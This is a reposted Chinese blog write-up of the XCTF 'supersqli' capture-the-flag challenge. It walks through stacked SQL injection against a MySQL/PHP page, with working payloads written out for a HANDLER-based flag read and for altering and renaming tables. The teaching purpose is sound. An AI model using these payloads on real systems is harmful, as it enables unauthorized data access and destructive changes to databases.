首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

攻防世界 - Web - Level 2 | supersqli

  • 25-02-16 18:01
  • 4113
  • 8362
blog.csdn.net

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关考察的是 SQL 注入漏洞(MySQL 数据库),要想过此关,你需要了解以下知识:

  • SQL 注入— 反引号:如果被注入的数据表表名有歧义,需要在两边加上 ` ` 进行注释。

    • 比如当表名为纯数字时就可以使用反引号进行标识。

    • 反引号可以用来标识数据库、表或列的名称,用以区别关键字。

  • SQL 注入 — 堆叠注入拓展:如果目标对于你提交的堆叠注入请求有回显,可以使用以下语句加速你的注入进程:

    • 获取数据表信息:show tables;

    • 查看表的字段信息:show columns from ; 或 describe ;

  1.  -- select 被过滤的替代品: handler
  2.  handler table_name open;       -- 开启 table_name 表的句柄
  3.  handler table_name read first; -- 获取第一行(索引最小的一行)
  4.  handler table_name read next;  -- 获取下一行
  5.  ​
  6.  -- SQL 注入基础知识
  7.  -- 创建数据表:
  8.  CREATE TABLE `my table` (  
  9.   `id` INT PRIMARY KEY,  
  10.   `first name` VARCHAR(50),  
  11.   `last name` VARCHAR(50)  
  12.  );
  13.  -- 更改字段名:
  14.  ALTER TABLE table_name CHANGE old_column_name new_column_name column_type;
  15.  -- 添加 id 字段并设置自增:
  16.  ALTER TABLE 表名 ADD id INT AUTO_INCREMENT PRIMARY KEY;
  17.  -- 删除字段:
  18.  ALTER TABLE 表名 DROP COLUMN 列名;
  19.  -- 更改表名:
  20.  rename table old_name to new_name;

0x02:Write UP

0x0201:Write UP 01 - handler 注入

从题目来看本题考察的就是 SQL 注入,进入靶场:

先测试一下目标是否有注入点,并判断目标后端语句,测试流程如下:

  1.  1 or 1=1;# -> 页面无变化
  2.  1 or 1=0;# -> 页面无变化
  3.  1' or 1=1;#' -> 注入成功

由此判断目标后端执行的 SQL 语句如下:

 select * from 表名 where id='$_GET["inject"]';

所以注入模板如下:

 1' 注入代码 ;#'

下面判断一下后端返回的数据个数,可以看到页面返回了两个数据:

  1.  1' order by 1;#' -> 页面无变化
  2.  1' order by 2;#' -> 页面无变化
  3.  1' order by 3;#' -> error 1054 : Unknown column '3' in 'order clause'

下面使用联合注入,尝试获得数据库数据:

 1' union select 1,2;#'

可以看到 select 被过过滤了,where 也被过滤了,那我们一般的通过 select 和 where 去information_schema 数据库中查询表名、表字段的方式就都没用了,那要怎么绕过呢?

试试堆叠注入(报错注入,你可以试试,但是报错注入还是要用 select 查询表):

 1';show tables;#

可以看到目前数据库中有两个表 1919810931114514 和 words,查看一下表结构:

 1';describe `1919810931114514`;#'   -> 这里要用 `` 扩起来,方便数据库认识,不然这个表名可能被解析为一串数字

可以看到此表中有一个字段为 flag,那么我们基本就可以确认目标就是这个表了,但是从之前的测试中,我们发现了,目标过滤了 select 方法,所以我们需要使用另一种方法读取表信息,即 handler 方法,教程链接如下:

【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客文章浏览阅读9.8k次,点赞41次,收藏68次。起序:在 Web 题遇到的,也算是骚姿势吧,希望帮到有需要的同志。一、简介MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。二、语法1、官方语法官方给出的:HANDLER Statement_mysql handlerhttp://iyenn.com/rec/1646250.html

注入 Payload 如下(部分同学可能会疑问,下面的两条 handler 语句能不能分开执行?在数据库中是可以的,但是我们考虑到目标使用 PHP 建立与数据库的一次性链接之后传递数据,再断开链接,所以对于 PHP 而言,每次链接都是单独的,如果分开执行,相当与建立了两次链接,会导致 read next 读取失败),成功 Get Flag:

1';handler `1919810931114514` open;handler `1919810931114514` read next;#

0x0202:Write UP 02 - rename 注入

本 Write UP 建立在前面的 Write UP 之上,已知的条件,本 Write UP 不会再重新测试。

回归我们一开始猜测的目标后端的 SQL 语句:

select * from 表名 where id='$_GET["inject"]';

我们有合理怀疑,这里的表名是 words 表,在上面的 Write UP 中我们已经知道了1919810931114514 表结构,那么我们在这里看一下 words 的表结构,注入 Payload 如下:

1';describe words;#

所以目标后端的数据库结构如下:

  1. - 1919810931114514
  2. - flag varchar(100)
  3. - words
  4. - id int(10)
  5. - data varchar(20)

所以目标后端的 SQL 语句极有可能如下:

select * from words where id='$_GET["inject"]';

那么下面我们来将 1919810931114514 偷天换日改为 words:

  1.  SQL 知识速递:
  2.  -- 更改字段名:
  3.  ALTER TABLE table_name CHANGE old_column_name new_column_name column_type;
  4.  -- 添加 id 字段并设置自增:
  5.  ALTER TABLE 表名 ADD id INT AUTO_INCREMENT PRIMARY KEY;
  6.  -- 删除字段:
  7.  ALTER TABLE 表名 DROP COLUMN 列名;
  8.  -- 更改表名:
  9.  rename table old_name to new_name;
  10.  ------------------------------------------------------------------
  11.  注入逻辑:
  12.  向 1919810931114514 表中添加 id 字段并设置自增 -> 避免 PHP 后端查询报错 -> 这样题目直接挂了
  13.  将 1919810931114514 表中 flag 字段更改为 data 字段,格式为 varchar(100) -> 同上
  14.  将 words 表命名为 words_bak
  15.  将 1919810931114514 表命名为 words
  16.  -------------------------------------------------------------------
  17.  最终 Payload 如下:
  18.  1';alter table `1919810931114514` add id int auto_increment primary key;alter table `1919810931114514` change flag data varchar(100);rename table words to words_bak;rename table `1919810931114514` to words;#'

提交完 Payload 之后再次点击一下提交,即可查询到 flag:

0x03:参考资料

【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客文章浏览阅读9.8k次,点赞41次,收藏68次。起序:在 Web 题遇到的,也算是骚姿势吧,希望帮到有需要的同志。一、简介MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。二、语法1、官方语法官方给出的:HANDLER Statement_mysql handlerhttp://iyenn.com/rec/1646250.html
【sql注入-堆叠注入】多语句执行、结合其他注入-CSDN博客文章浏览阅读5.3k次,点赞2次,收藏7次。【堆叠注入】相比其他注入能执行的操作更多_堆叠注入http://iyenn.com/rec/1778749.html
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/144653117"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top